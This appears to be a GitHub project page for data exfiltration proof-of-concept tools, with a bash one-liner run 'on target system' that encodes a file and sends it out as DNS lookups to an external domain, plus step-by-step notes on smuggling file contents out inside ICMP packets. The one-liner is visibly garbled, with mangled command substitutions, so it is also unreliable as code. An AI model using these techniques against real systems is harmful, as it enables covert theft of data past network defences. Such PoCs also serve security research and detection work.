Data Exfiltration PoC Scripts

September 11, 2015 · View on GitHub

DNS Exfliltration (dns_catch.py)

Run dns_catch.py on your DNS server.

On target system execute via bash: file="secretz.tgz"; key="moo"; domain="sensepost.com" i=1; md=(cat(cat file| md5sum| cut -d " " -f 1); len=((‘xxd−p((`xxd -p file |wc -l)); for h in cat file∣xxd−p‘;dohostfile | xxd -p`; do host h.0.i.i.len.key.key.domain; i=((((i+1));done; host md.1.md.1.i.len.len.key.$domain

ICMP (icmp_shover.py)

Sending:

Read n bytes of file Convert to hex Create ICMP() packet with destination / source headers Pack ICMP() data section with the hex Drop it onto the wire!

Receving:

Listen on network interface for icmp packets (with a little signature) Unpack from data and write to file